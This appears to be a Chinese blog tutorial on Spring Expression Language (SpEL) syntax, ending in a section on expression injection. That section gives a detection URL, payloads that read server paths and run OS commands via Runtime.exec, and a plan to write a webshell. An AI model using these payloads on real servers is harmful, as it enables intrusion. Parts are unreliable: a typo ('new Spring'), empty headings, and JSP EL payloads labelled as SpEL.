SpEL表达式注入漏洞

2019-09-27 本文已影响0人 TsengYUen

一、什么是SpEL 表达式

Spring Expression Language（简称 SpEL）是一种功能强大的表达式语言、用于在运行时查询和操作对象图；语法上类似于 Unified EL，但提供了更多的特性，特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接，能提供一站式支持的表达式语言。

优点：可以在运行时查询和操作数据，尤其是数组列表型数据，因此可以缩减代码量，优化代码结构。

二、用法

SpEL有三种用法，一种是在注解@Value中；一种是XML配置；最后一种是在代码块中使用Expression。

1、获取数据；2、执行运算；3、获取web开发常用对象；4、调用Java方法

三、表达式

1. 直接量表达式

"#{'Hello World'}"

2. 直接使用java代码new/instance of

此方法只能是java.lang 下的类才可以省略包名

Expression exp = parser.parseExpression("new Spring('Hello World')");

3. 使用T(Type)

使用“T(Type)”来表示java.lang.Class实例，同样，只有java.lang 下的类才可以省略包名。此方法一般用来引用常量或静态方法

parser.parseExpression("T(Integer).MAX_VALUE");

4. 变量

获取容器内的变量，可以使用“#bean_id”来获取。有两个特殊的变量，可以直接使用。

#this 使用当前正在计算的上下文

#root 引用容器的root对象

String result2 = parser.parseExpression("#root").getValue(ctx, String.class);

String s = new String("abcdef");

ctx.setVariable("abc",s);

//取id为abc的bean，然后调用其中的substring方法

parser.parseExpression("#abc.substring(0,1)").getValue(ctx, String.class);

5. 方法调用

与Java代码没有什么区别，可见上面的例子

可以自定义方法，如下：

Method parseInt = Integer.class.getDeclaredMethod("parseInt", String.class);

ctx.registerFunction("parseInt", parseInt);

ctx.setVariable("parseInt2", parseInt);

String expression1 = "#parseInt('3') == #parseInt2('3')";

“registerFunction”和“setVariable”都可以注册自定义函数，但是两个方法的含义不一样，推荐使用“registerFunction”方法注册自定义函数。

6. 运算符表达式

算数表达式（“1+2-3*4/2″）

比较表达式（“1>2”）

逻辑表达式（“2>1 and (!true or !false)”）

赋值表达式（“#variableName=value”）

三目表达式（“表达式1?表达式2:表达式3”）

正则表达式（“123′ matches ‘\\d{3}”）

等运算符，都可以直接放在SpEL中

7. Elvis运算符

8. 安全保证

9. 集合定义

10. 集合访问

11. 集合修改

12. 集合选择

13. 集合投影

Springboot+thymeleaf+IDEA——SpEL表达式

1、基本表达式

// 判断相等

 //大于

 //小于

2、算术表达式

3、对象导航

4、对象实例化

5、T表达式

6、内联表达式

[[${banner.id}]]

四、SpEL表达式注入漏洞

检测方式：

https://www.a.com/login?a=${10-9}

表达式执行会会显在页面上，检查源码。

漏洞利用语句：

${pageContext} 对应于JSP页面中的pageContext对象（注意：取的是pageContext对象。）

${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径

${header} 文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令

渗透思路：获取webroot路径，exec执行命令echo写入一句话。